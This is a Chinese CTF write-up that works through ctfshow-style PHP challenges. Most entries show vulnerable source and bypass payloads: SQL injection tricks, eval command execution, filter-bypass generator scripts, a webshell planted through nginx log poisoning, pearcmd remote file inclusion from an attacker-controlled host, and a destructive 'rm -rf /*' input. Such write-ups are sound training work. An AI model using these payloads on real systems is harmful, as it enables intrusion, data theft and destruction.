知识点在之前都学到了,现在就只是做题和补充

web1(php特性)

<?php
# 包含数据库连接文件
include("config.php");
# 判断get提交的参数id是否存在
if(isset($_GET['id'])){
$id = $_GET['id'];
# 判断id的值是否大于999
if(intval($id) > 999){
# id 大于 999 直接退出并返回错误
die("id error");
}else{
# id 小于 999 拼接sql语句
$sql = "select * from article where id = $id order by id limit 1 ";
echo "执行的sql为:$sql<br>";
# 执行sql 语句
$result = $conn->query($sql);
# 判断有没有查询结果
if ($result->num_rows > 0) {
# 如果有结果,获取结果对象的值$row
while($row = $result->fetch_assoc()) {
echo "id: " . $row["id"]. " - title: " . $row["title"]. " <br><hr>" . $row["content"]. "<br>";
}
}
# 关闭数据库连接
$conn->close();
}

}else{
highlight_file(__FILE__);
}

?>

<!-- flag in id = 1000 -->

要求查询id=1000的值,但是在id传参大于999时就会报错,现在就要用到intval()函数特性,如果传参为0x开头的值时intval()函数会停止,但是sql语句会自动转换,当然也有其他姿势,比如intval()函数遇到第一个非数字字符就会停止

id=0x3e8
id='1000'
id=0b1111101000
id=~~1000
id=125*8
id=999%2B1 //即999+1,注意+要先url编码,否则会当成空格
id=round(999.9) //通过四舍五入出来
id=999 or 1=1--+ //万能密码
id=/*!1000*/ //内联注释
id=FROM_BASE64('MTAwMA==')

web2(过滤or|+)

<?php
# 包含数据库连接文件
include("config.php");
# 判断get提交的参数id是否存在
if(isset($_GET['id'])){
$id = $_GET['id'];
if(preg_match("/or|\+/i",$id)){
die("id error");
}
# 判断id的值是否大于999
if(intval($id) > 999){
# id 大于 999 直接退出并返回错误
die("id error");
}else{
# id 小于 999 拼接sql语句
$sql = "select * from article where id = $id order by id limit 1 ";
echo "执行的sql为:$sql<br>";
# 执行sql 语句
$result = $conn->query($sql);
# 判断有没有查询结果
if ($result->num_rows > 0) {
# 如果有结果,获取结果对象的值$row
while($row = $result->fetch_assoc()) {
echo "id: " . $row["id"]. " - title: " . $row["title"]. " <br><hr>" . $row["content"]. "<br>";
}
}
# 关闭数据库连接
$conn->close();
}

}else{
highlight_file(__FILE__);
}

?>

<!-- flag in id = 1000 -->

过滤or和+,对应去掉一些payload即可

id=0x3e8
id='1000'
id=0b1111101000
id=~~1000
id=125*8
id=round(999.9) //通过四舍五入出来
id=/*!1000*/ //内联注释
id=FROM_BASE64('MTAwMA==')

web3(+-|\|*|<|>等)

<?php
# 包含数据库连接文件
include("config.php");
# 判断get提交的参数id是否存在
if(isset($_GET['id'])){
$id = $_GET['id'];
if(preg_match("/or|\-|\\|\*|\<|\>|\!|x|hex|\+/i",$id)){
die("id error");
}
# 判断id的值是否大于999
if(intval($id) > 999){
# id 大于 999 直接退出并返回错误
die("id error");
}else{
# id 小于 999 拼接sql语句
$sql = "select * from article where id = $id order by id limit 1 ";
echo "执行的sql为:$sql<br>";
# 执行sql 语句
$result = $conn->query($sql);
# 判断有没有查询结果
if ($result->num_rows > 0) {
# 如果有结果,获取结果对象的值$row
while($row = $result->fetch_assoc()) {
echo "id: " . $row["id"]. " - title: " . $row["title"]. " <br><hr>" . $row["content"]. "<br>";
}
}
# 关闭数据库连接
$conn->close();
}

}else{
highlight_file(__FILE__);
}

?>
<!-- flag in id = 1000 -->
id='1000'
id=0b1111101000
id=~~1000
id=round(999.9) //通过四舍五入出来
id=FROM_BASE64('MTAwMA==')

web4(+()|select)

<?php
# 包含数据库连接文件
include("config.php");
# 判断get提交的参数id是否存在
if(isset($_GET['id'])){
$id = $_GET['id'];
if(preg_match("/or|\-|\\\|\/|\\*|\<|\>|\!|x|hex|\(|\)|\+|select/i",$id)){
die("id error");
}
# 判断id的值是否大于999
if(intval($id) > 999){
# id 大于 999 直接退出并返回错误
die("id error");
}else{
# id 小于 999 拼接sql语句
$sql = "select * from article where id = $id order by id limit 1 ";
echo "执行的sql为:$sql<br>";
# 执行sql 语句
$result = $conn->query($sql);
# 判断有没有查询结果
if ($result->num_rows > 0) {
# 如果有结果,获取结果对象的值$row
while($row = $result->fetch_assoc()) {
echo "id: " . $row["id"]. " - title: " . $row["title"]. " <br><hr>" . $row["content"]. "<br>";
}
}
# 关闭数据库连接
$conn->close();
}

}else{
highlight_file(__FILE__);
}

?>

<!-- flag in id = 1000 -->
id='1000'
id=0b1111101000
id=~~1000

web5(+’|”等)

<?php
# 包含数据库连接文件
include("config.php");
# 判断get提交的参数id是否存在
if(isset($_GET['id'])){
$id = $_GET['id'];
if(preg_match("/\'|\"|or|\||\-|\\\|\/|\\*|\<|\>|\!|x|hex|\(|\)|\+|select/i",$id)){
die("id error");
}
# 判断id的值是否大于999
if(intval($id) > 999){
# id 大于 999 直接退出并返回错误
die("id error");
}else{
# id 小于 999 拼接sql语句
$sql = "select * from article where id = $id order by id limit 1 ";
echo "执行的sql为:$sql<br>";
# 执行sql 语句
$result = $conn->query($sql);
# 判断有没有查询结果
if ($result->num_rows > 0) {
# 如果有结果,获取结果对象的值$row
while($row = $result->fetch_assoc()) {
echo "id: " . $row["id"]. " - title: " . $row["title"]. " <br><hr>" . $row["content"]. "<br>";
}
}
# 关闭数据库连接
$conn->close();
}

}else{
highlight_file(__FILE__);
}

?>
id=0b1111101000
id=~~1000

web6(+^等)

<?php
# 包含数据库连接文件
include("config.php");
# 判断get提交的参数id是否存在
if(isset($_GET['id'])){
$id = $_GET['id'];
if(preg_match("/\'|\"|or|\||\-|\\\|\/|\\*|\<|\>|\^|\!|x|hex|\(|\)|\+|select/i",$id)){
die("id error");
}
# 判断id的值是否大于999
if(intval($id) > 999){
# id 大于 999 直接退出并返回错误
die("id error");
}else{
# id 小于 999 拼接sql语句
$sql = "select * from article where id = $id order by id limit 1 ";
echo "执行的sql为:$sql<br>";
# 执行sql 语句
$result = $conn->query($sql);
# 判断有没有查询结果
if ($result->num_rows > 0) {
# 如果有结果,获取结果对象的值$row
while($row = $result->fetch_assoc()) {
echo "id: " . $row["id"]. " - title: " . $row["title"]. " <br><hr>" . $row["content"]. "<br>";
}
}
# 关闭数据库连接
$conn->close();
}

}else{
highlight_file(__FILE__);
}

?>

<!-- flag in id = 1000 -->
id=0b1111101000
id=~~1000

web7(+~等)

<?php
# 包含数据库连接文件
include("config.php");
# 判断get提交的参数id是否存在
if(isset($_GET['id'])){
$id = $_GET['id'];
if(preg_match("/\'|\"|or|\||\-|\\\|\/|\\*|\<|\>|\^|\!|\~|x|hex|\(|\)|\+|select/i",$id)){
die("id error");
}
# 判断id的值是否大于999
if(intval($id) > 999){
# id 大于 999 直接退出并返回错误
die("id error");
}else{
# id 小于 999 拼接sql语句
$sql = "select * from article where id = $id order by id limit 1 ";
echo "执行的sql为:$sql<br>";
# 执行sql 语句
$result = $conn->query($sql);
# 判断有没有查询结果
if ($result->num_rows > 0) {
# 如果有结果,获取结果对象的值$row
while($row = $result->fetch_assoc()) {
echo "id: " . $row["id"]. " - title: " . $row["title"]. " <br><hr>" . $row["content"]. "<br>";
}
}
# 关闭数据库连接
$conn->close();
}

}else{
highlight_file(__FILE__);
}

?>

<!-- flag in id = 1000 -->
id=0b1111101000
id=500 div 0.5 //sql中除号另一种写法

web8(删库)

<?php
# 包含数据库连接文件,key flag 也在里面定义
include("config.php");
# 判断get提交的参数id是否存在
if(isset($_GET['flag'])){
if(isset($_GET['flag'])){
$f = $_GET['flag'];
if($key===$f){
echo $flag;
}
}
}else{
highlight_file(__FILE__);
}

?>

要求GET传参的flagconfig.php中的key相等,但是由于不知道key值,所以难以绕过,看wp了解到直接删库就行,这样都为空

flag=rm -rf /*

web9(命令执行)

<?php
# flag in config.php
include("config.php");
if(isset($_GET['c'])){
$c = $_GET['c'];
if(preg_match("/system|exec|highlight/i",$c)){
eval($c);
}else{
die("cmd error");
}
}else{
highlight_file(__FILE__);
}
?>

passthru()绕过就行

c=passthru("ls");

。。。看错了,是白名单,直接用就行

c=highlight_file("config.php");
c=system("tac config.php");
c=system("nl config.php"); //源代码

web10(过滤system|exec|highlight等)

<?php
# flag in config.php
include("config.php");
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/system|exec|highlight/i",$c)){
eval($c);
}else{
die("cmd error");
}
}else{
highlight_file(__FILE__);
}
?>

总算是黑名单了,可以试试文件包含,也可以passthru()绕过

好吧,注意到allow_url_include=0(尝试data伪协议的报错),所以data伪协议不行,尝试直接包含(需要base64编码)

c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=config.php
c=include('php://filter/read=convert.base64-encode/resource=config.php');
c=passthru("tac config.php");
c=echo `tac config.php`;
c=print_r(get_defined_vars()); //在数组中取出当前已定义的变量,由于config.php中就是给变量flag赋值,所以可以直接带出来
c=$a='sys';$b='tem';$d=$a.$b;$d('tac config.php'); //通过构造出system()函数
c=echo file_get_contents('config.php'); //源代码

也可以上脚本,类似于命令执行中web41的脚本,通过取反来绕过,如下

import re
import urllib
from urllib import parse
import requests

contents = []

for i in range(256):
for j in range(256):
hex_i = '{:02x}'.format(i)
hex_j = '{:02x}'.format(j)
preg = re.compile(r'[0-9]|[a-z]|\^|\+|~|\$|\[|]|\{|}|&|-', re.I)
if preg.search(chr(int(hex_i, 16))) or preg.search(chr(int(hex_j, 16))):
continue
else:
a = '%' + hex_i
b = '%' + hex_j
c = chr(int(a[1:], 16) | int(b[1:], 16))
if 32 <= ord(c) <= 126:
contents.append([c, a, b])


def make_payload(cmd):
payload1 = ''
payload2 = ''
for i in cmd:
for j in contents:
if i == j[0]:
payload1 += j[1]
payload2 += j[2]
break
payload = '("' + payload1 + '"|"' + payload2 + '")'
return payload


URL = input('url:')
payload = make_payload('system') + make_payload('tac config.php')
response = requests.get(URL, params={'c': (urllib.parse.unquote(payload))+';'})
print(response.text)

image-20250320102754503

web11(+cat)

<?php
# flag in config.php
include("config.php");
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/system|exec|highlight|cat/i",$c)){
eval($c);
}else{
die("cmd error");
}
}else{
highlight_file(__FILE__);
}
?>

只是过滤命令,问题不大,上题方法都还可以用,只是绕过命令就有很多姿势了

c=include('php://filter/read=convert.base64-encode/resource=config.php');
c=passthru("tac config.php");
c=echo `tac config.php`;
c=print_r(get_defined_vars()); //在数组中取出当前已定义的变量,由于config.php中就是给变量flag赋值,所以可以直接带出来
c=$a='sys';$b='tem';$d=$a.$b;$d('tac config.php'); //通过构造出system()函数
c=echo file_get_contents('config.php'); //源代码
脚本同上

web12(+config|.|php)

<?php
# flag in config.php
include("config.php");
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/system|exec|highlight|cat|\.|php|config/i",$c)){
eval($c);
}else{
die("cmd error");
}
}else{
highlight_file(__FILE__);
}
?>

通过通配符绕过就行,脚本同理,但是文件包含用不了了

c=passthru("tac con*");
c=echo `tac con*`;
c=print_r(get_defined_vars()); //在数组中取出当前已定义的变量,由于config.php中就是给变量flag赋值,所以可以直接带出来
脚本如下
import re
import urllib
from urllib import parse
import requests

contents = []

for i in range(256):
for j in range(256):
hex_i = '{:02x}'.format(i)
hex_j = '{:02x}'.format(j)
preg = re.compile(r'[0-9]|[a-z]|\^|\+|~|\$|\[|]|\{|}|&|-', re.I)
if preg.search(chr(int(hex_i, 16))) or preg.search(chr(int(hex_j, 16))):
continue
else:
a = '%' + hex_i
b = '%' + hex_j
c = chr(int(a[1:], 16) | int(b[1:], 16))
if 32 <= ord(c) <= 126:
contents.append([c, a, b])


def make_payload(cmd):
payload1 = ''
payload2 = ''
for i in cmd:
for j in contents:
if i == j[0]:
payload1 += j[1]
payload2 += j[2]
break
payload = '("' + payload1 + '"|"' + payload2 + '")'
return payload


URL = input('url:')
payload = make_payload('system') + make_payload('tac confi*')
response = requests.get(URL, params={'c': (urllib.parse.unquote(payload))+';'})
print(response.text)

web13(+;|file)

<?php
# flag in config.php
include("config.php");
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/system|exec|highlight|cat|\.|\;|file|php|config/i",$c)){
eval($c);
}else{
die("cmd error");
}
}else{
highlight_file(__FILE__);
}
?>

;通过?>来绕过

c=passthru("tac con*")?>
c=echo `tac con*`?>
c=print_r(get_defined_vars())?> //在数组中取出当前已定义的变量,由于config.php中就是给变量flag赋值,所以可以直接带出来
脚本如下
import re
import urllib
from urllib import parse
import requests

contents = []

for i in range(256):
for j in range(256):
hex_i = '{:02x}'.format(i)
hex_j = '{:02x}'.format(j)
preg = re.compile(r'[0-9]|[a-z]|\^|\+|~|\$|\[|]|\{|}|&|-', re.I)
if preg.search(chr(int(hex_i, 16))) or preg.search(chr(int(hex_j, 16))):
continue
else:
a = '%' + hex_i
b = '%' + hex_j
c = chr(int(a[1:], 16) | int(b[1:], 16))
if 32 <= ord(c) <= 126:
contents.append([c, a, b])


def make_payload(cmd):
payload1 = ''
payload2 = ''
for i in cmd:
for j in contents:
if i == j[0]:
payload1 += j[1]
payload2 += j[2]
break
payload = '("' + payload1 + '"|"' + payload2 + '")'
return payload


URL = input('url:')
payload = make_payload('system') + make_payload('tac confi*')
response = requests.get(URL, params={'c': (urllib.parse.unquote(payload))+'?>'})
print(response.text)

web14(+()

<?php
# flag in config.php
include("config.php");
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/system|exec|highlight|cat|\(|\.|\;|file|php|config/i",$c)){
eval($c);
}else{
die("cmd error");
}
}else{
highlight_file(__FILE__);
}
?>

有多种做法,这个题可以使用伪协议变量传递了,也可以直接读取变量$flag

c=echo $flag?>
c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=config.php
c=echo `$_GET[a]`?>&a=tac config.php

web15(+*|?|<|>|=)

<?php
# flag in config.php
include("config.php");
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/system|\\*|\?|\<|\>|\=|exec|highlight|cat|\(|\.|file|php|config/i",$c)){
eval($c);
}else{
die("cmd error");
}
}else{
highlight_file(__FILE__);
}
?>

过滤?|>,把;放出来了

c=echo $flag;
c=include$_GET[a];&a=php://filter/read=convert.base64-encode/resource=config.php
c=echo `$_GET[a]`;&a=tac config.php

web16(md5范围爆破)

<?php
# flag in config.php
include("config.php");
if(isset($_GET['c'])){
$c = $_GET['c'];
if(md5("ctfshow$c")==="a6f57ae38a22448c2f07f3f95f49c84e"){
echo $flag;
}else{
echo "nonono!";
}
}else{
highlight_file(__FILE__);
}
?>

前缀为ctfshow,先写个脚本去爆破试试

import hashlib
import itertools
import string

# 目标 MD5 哈希
target_hash = "a6f57ae38a22448c2f07f3f95f49c84e"

# 定义我们要使用的字符集
charset = string.ascii_letters + string.digits # 大小写字母和数字 abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789

# 定义我们要尝试的密码最大长度
max_length = 8

def md5_hash(text):
"""返回给定文本的MD5哈希值"""
return hashlib.md5(text.encode()).hexdigest() # 将字符串编码为字节,然后计算其 MD5 哈希值,并将哈希值转换为可读的十六进制字符串

def brute_force_md5(target_hash, charset, max_length): # 目标、字符集、最大长度
"""暴力破解 MD5 哈希值"""
for length in range(1, max_length + 1): # 长度从1开始遍历
for attempt in itertools.product(charset, repeat=length): # 会产生长度为length的所有charset的组合
attempt_str = "ctfshow" + ''.join(attempt) # 加密前
if md5_hash(attempt_str) == target_hash: # 加密后匹配成功
return attempt_str
return None

# 开始暴力破解
password = brute_force_md5(target_hash, charset, max_length)
if password:
print(f"找到密码: {password}")
else:
print("未找到密码")

结果为ctfshow36d,因此直接传参c=36d

web17(文件包含,过滤php)

<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/php/i",$c)){
include($c);

}


}else{
highlight_file(__FILE__);
}
?>

过滤php,所以使用日志注入或者data伪协议

data伪协议

c=data://text/plain;base64,PD9waHAgZXZhbCgkX1BPU1RbMTIzXSk7
//原始为<?php eval($_POST[123]);
c=data://text/plain,<?= eval($_POST[123]);

好吧,理论来说可以的,结果还是allow_url_include=0,所以data伪协议用不了

日志注入

F12网络中发现服务器为nginx,日志文件在/var/log/nginx/access.log下

image-20250320113545654

c=/var/log/nginx/access.log

可以访问且日志文件中有UA,将UA改为<?php eval($_POST[123]);?>传入后如下

123=system("ls");  //36d.php index.php
123=system("tac 36d.php"); //获得flag

web18(+file)

<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/php|file/i",$c)){
include($c);
}


}else{
highlight_file(__FILE__);
}
?>

依然可以使用日志包含

GET:c=/var/log/nginx/access.log
UA:<?php eval($_POST[123]);
POST:123=system("ls");

注意,这里注入的时候一直报错如下,排查过后发现是一句话木马的原因,上传时必须要写完整的一句话木马,最后的 ?>不能省,即<?php eval($_POST[123]);?>

改了之后就能正常使用了

image-20250320165538925

web19(+base)

<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/php|file|base/i",$c)){
include($c);
}


}else{
highlight_file(__FILE__);
}
?>

过滤了base,说明上题可以通过base64解码绕过?只不过这个题还是可以日志注入

GET:c=/var/log/nginx/access.log
UA:<?php eval($_POST[123]);?>
POST:123=system("ls");

web20(+rot)

<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/php|file|base|rot/i",$c)){
include($c);
}


}else{
highlight_file(__FILE__);
}
?>

同上


但是这个题抽空看了看php配置

image-20250320170010314

所以说是不能用data伪协议的,php伪协议也用不了,猜测前面几题的做法是还可以通过Php://input来实现,这个题来验证一下

刚抓包试试就知道不行了,正则匹配最后的i表示不区分大小写,所以肯定是不行的,所以前面几个题到底是咋编码绕过的,存疑

web21(+:)

<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/php|file|\:|base|rot/i",$c)){
include($c);
}


}else{
highlight_file(__FILE__);
}
?>

同上

web22(远程文件包含,过滤:|/|\)

<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\:|\/|\\\/i",$c)){
include($c.".php");
}


}else{
highlight_file(__FILE__);
}
?>

不能进行日志注入了,这里看了其他师傅的wp,通过远程文件包含一句话木马

本地(有公网ip)服务器上传一个马如下

<?php echo"<?php system('tac 36d.php');?>"; ?>
https://dca3d83a-5e66-451d-b0f8-fd8b4320a992.challenge.ctf.show/?c=pearcmd&+download+http://公网IP/1.php
//公网ip自行替换

记得要加端口,出现以下字样即为包含成功

downloading 1.php ... Starting to download 1.php (Unknown size) ....done: 118 bytes Could not get contents of package "/var/www/html/1.php". Invalid tgz file. Download of "http://公网ip/1.php" succeeded, but it is not a valid package archive Invalid or missing remote package file download failed

最后访问1.php就能出现flag了

原理:

  1. 构造两层嵌套,使用pearcmd 在下载并执行eval.php文件时,只是输出了一个字符串:
  2. 这个字符串被写入到了eval.php文件中,但没有执行。
  3. 当直接访问这个生成的eval.php文件时,外层的PHP代码会把里层的字符串当成PHP代码解析并执行。
  4. 此时里层的system(‘tac 36d.php’)就会被执行。

获得百分之百的快乐

<?php
show_source(__FILE__);
error_reporting(0);
if(strlen($_GET[1])<4){
echo shell_exec($_GET[1]);
}
else{
echo "hack!!!";
}
?>
//by Firebasky

要求传参长度小于4,看wp学习

1=>nl(相当于把?1=当做nl命令)
1=*>1(相当于nl *>1)
再访问1,下载下来获取flag

还有另一种方法

先?1=>nl然后?1=*就可以了,右键查看源代码得到flag

原理: nl是读取文件内容的命令,类似于cat,与cat不同的是,nl会给每一行标上行号

但是在shell_exec函数中运行nl后,由于没有给出具体的文件名,nl会一直等待用户输入,也就是我们可以把nl和文件名分两次传输

在刚开始可以使用?1=ls,查看文件目录,发现有两个php文件,文件名都很长,肯定不能直接写,所以我们后面写文件名的时候就直接写*,把两个文件的内容都输出

第一次传递nl,然后shell会等待我们的输入,第二次传递*,就可以输出两个文件的内容,这时候我们查看源代码就能看到flag